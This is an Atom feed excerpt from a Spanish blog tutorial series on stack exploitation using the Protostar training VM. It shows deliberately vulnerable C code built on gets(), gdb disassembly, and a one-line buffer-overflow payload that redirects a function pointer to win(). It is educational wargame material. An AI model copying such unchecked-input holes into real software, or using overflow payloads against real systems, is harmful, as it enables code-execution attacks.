&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important; font-weight: bold !important;&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;code flow successfully changed&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220, 50, 47) !important;&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important; font-weight: bold !important;&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;  &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203, 75, 22) !important;&quot;&gt;volatile&lt;/span&gt; &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)();&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;  &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;fp&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;gets&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;  &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203, 75, 22) !important;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;      &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;calling function pointer, jumping to 0x%08x&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220, 50, 47) !important;&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;      &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;  &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Como podemos ver, en este caso el input se recoge por stdin con la función gets() como en el ejercicio 1. Gracias a cómo está escrito el programa, podemos ver al final de el que se comprueba si fp es distinto de nulo, &amp;nbsp;se imprime un mensaje y se llama a la función fp, pero.. oye... si a fp le hemos dado el valor de 0... ¿como vamos a ejecutar una función que está en la posición 0?, pues por eso el if no da true, porque es como si fp devolviese false.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Es algo confuso, pero bueno, tiene que ver con los punteros en C y eso es otro tema que daría muuucho que hablar.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Si conseguimos asignarle a la &quot;variable&quot; fp la dirección en la que está la función win(), el if lo tomará como true y se ejecutará el contenido que hay el printf y la funcion fp() qué al ser un puntero a la dirección en la que empieza la función win, realmente se estará ejecutando la función win() (o la que hubiéramos asignado OJO!).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Cómo podemos conseguir esto, pues facil, ejecutamos este comando:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;gdb ./stack3&lt;/li&gt;
&lt;li&gt;disass win&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
(gdb) disass win&lt;/div&gt;
&lt;div&gt;
Dump of assembler code for function win:&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: lime;&quot;&gt;0x08048424&lt;/span&gt; &amp;lt;win+0&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;
0x08048425 &amp;lt;win+1&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%esp,%ebp&lt;/div&gt;
&lt;div&gt;
0x08048427 &amp;lt;win+3&amp;gt;: &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x18,%esp&lt;/div&gt;
&lt;div&gt;
0x0804842a &amp;lt;win+6&amp;gt;: &amp;nbsp; &amp;nbsp; movl &amp;nbsp; $0x8048540,(%esp)&lt;/div&gt;
&lt;div&gt;
0x08048431 &amp;lt;win+13&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048360 &amp;lt;puts@plt&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x08048436 &amp;lt;win+18&amp;gt;: &amp;nbsp; &amp;nbsp;leave&lt;/div&gt;
&lt;div&gt;
0x08048437 &amp;lt;win+19&amp;gt;: &amp;nbsp; &amp;nbsp;ret&lt;/div&gt;
&lt;div&gt;
End of assembler dump.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Cómo podemos observar al desensamblar la función win, esta función empieza en la dirección de memoria que os he resaltado en verde (0x08048424) en mi caso es esa dirección y en el vuestro debería de serlo también, pero por si acaso ejecutar el comando y anotad la dirección que os aparezca pues es muy importante.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bueno como ya sabemos la dirección, vamos a crear nuestro consiguiente exploit:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;echo `python -c &#39;print &quot;A&quot;*64+&quot;\x24\x84\x04\x08&quot;&#39;` | ./stack3&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;El output del programa será algo parecido a esto:&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
calling function pointer, jumping to 0x08048424&lt;/div&gt;
&lt;div&gt;
code flow successfully changed&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Y con esto ya habríamos superado el tercer ejercicio de esta página.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Espero que os haya gustado, dejo para el siguiente post el ejercicio 4 y el 5, que estos ya son más divertidos tratan de sobreescribir el registro eip que se encuentra justo después del ebp. Pero de eso ya hablaré en el siguiente post, que tiene su cosa explicar el tema de esos dos registros.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Un saludete y hasta la próxima!&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/5062691957321207175/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/06/exploiting-practico-desde-0-parte-2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/5062691957321207175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/5062691957321207175'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/06/exploiting-practico-desde-0-parte-2.html' title='Exploiting práctico desde 0 (parte 2)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-3086439994316360087</id><published>2016-06-13T23:37:00.000+02:00</published><updated>2016-06-13T23:40:05.441+02:00</updated><title type='text'>Exploiting práctico desde 0 (Parte 1)</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Muy buenas gentecilla! ¿Qué tal? Espero que bien, hoy voy a abrir una nueva serie de entradas que llevaba tiempo queriendo hacer para retomar el tema del exploiting, que me parece apasionante. Y así mientras os lo explico pues repaso y por qué no también aprendo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno voy a intentar hacer el artículo lo más sencillo posible, para que cualquier persona pueda entenderlo, así que lo mismo me enrollo más de la cuenta en algunas explicaciones, pero oye, esto no es un vídeo de youtube, el contenido está cargado enterito, haces scroll y te saltas mis paranoias, jejeje.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes de nada os quiero dejar una web que es bastante famosa, para que rebusquéis información y tutoriales, eso sí, en perfecto Ingles.&amp;nbsp;&lt;a href=&quot;http://www.corelan.be/&quot; target=&quot;_blank&quot;&gt;http://www.corelan.be&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Los ejercicios que voy a realizar se encuentran en la web&amp;nbsp;&lt;a href=&quot;https://exploit-exercises.com/protostar/&quot; target=&quot;_blank&quot;&gt;https://exploit-exercises.com/protostar/&lt;/a&gt;&amp;nbsp;en la sección Downloads de esa web está la máquina virtual que contiene los ejercicios, la ISO a descargar es la Protostar.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Estos ejercicios están basados en una arquitectura x86 (32 bits de toa la via de dioh) y la máquina virtual tiene la peculiaridad de tener desactivado tanto el ASLR (&lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; target=&quot;_blank&quot;&gt;Address Space Layout Randomization&lt;/a&gt;, aquí os dejo algo de literatura) como el NX (&lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_space_protection&quot; target=&quot;_blank&quot;&gt;Non-Executable Memory&lt;/a&gt;). Estas dos joyas son unos de los varios sistemas de protección que tienen los Sistemas Operativos para evitar la explotación de su pila. Haciendo un resumen muy resumido, el ASLR se encarga de aleatorizar la posición en memoria de los programas (exceptuando las librerías del sistema y gracias a dios), y el NX o DEP en güindous se encarga de evitar que se ejecute código desde el Stack (un espacio en memoria reservado para las variables no para el código ejecutable).&lt;/div&gt;
&lt;br /&gt;
Madre del amor hermoso, vaya parrafazo anterior, bueno, para los que sigáis vivos y despiertos continuo...&lt;br /&gt;
&lt;br /&gt;
Bien para preparar el entorno, yo he seguido estos pasos:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Tener Instalado VirtualBox o VMware&lt;/li&gt;
&lt;li&gt;Descargarme la ISO&lt;/li&gt;
&lt;li&gt;Crear una máquina virtual (en mi caso en VirtualBox) y poner el .iso en el cd-rom para que se arranque en live-cd&lt;/li&gt;
&lt;li&gt;Poner la máquina virtual en modo bridge (o cualquier modo que te permita hacer ping desde tu host y obtener respuesta)&lt;/li&gt;
&lt;li&gt;Descargarme el Putty (para conectarme por SSH a la máquina virtual)&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Entrar por SSH a la máquina virtual&lt;/li&gt;
&lt;li&gt;Loguearme con usuario:user y password:user&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Hay algunos pasos, como el de crear las máquinas virtuales y usar el putty que no voy a explicarlos, al menos por ahora, ;)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
NOTA: A la máquina virtual entro por SSH porque al ser un entorno live muy ligero no he conseguido cargar el teclado en español en la máquina virtual ya que no tiene ciertas dependencias y era un lío. Si tú estás cómodo con el teclado en ingles, puedes saltarte la parte del putty y entrar por ssh.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Todos los ejercicios se encuentran en la carpeta /opt/protostar/bin/&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ya tenemos el entorno preparado, una vez que lleguemos a este punto ya empieza la &quot;chicha&quot;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bien hoy toca el ejercicio &lt;b&gt;Stack0 &lt;/b&gt;es evidentemente el más sencillo pero va a sentar las bases para el resto de ejercicios.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En la web nos dan el código fuente, así que esto nos pone las cosas más fáciles, echémosle un ojo:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147 , 161 , 161); font-style: italic;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147 , 161 , 161); font-style: italic;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147 , 161 , 161); font-style: italic;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210); font-weight: bold;&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203 , 75 , 22);&quot;&gt;volatile&lt;/span&gt; &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42 , 161 , 152);&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38 , 139 , 210);&quot;&gt;modified&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;;&lt;/span&gt;
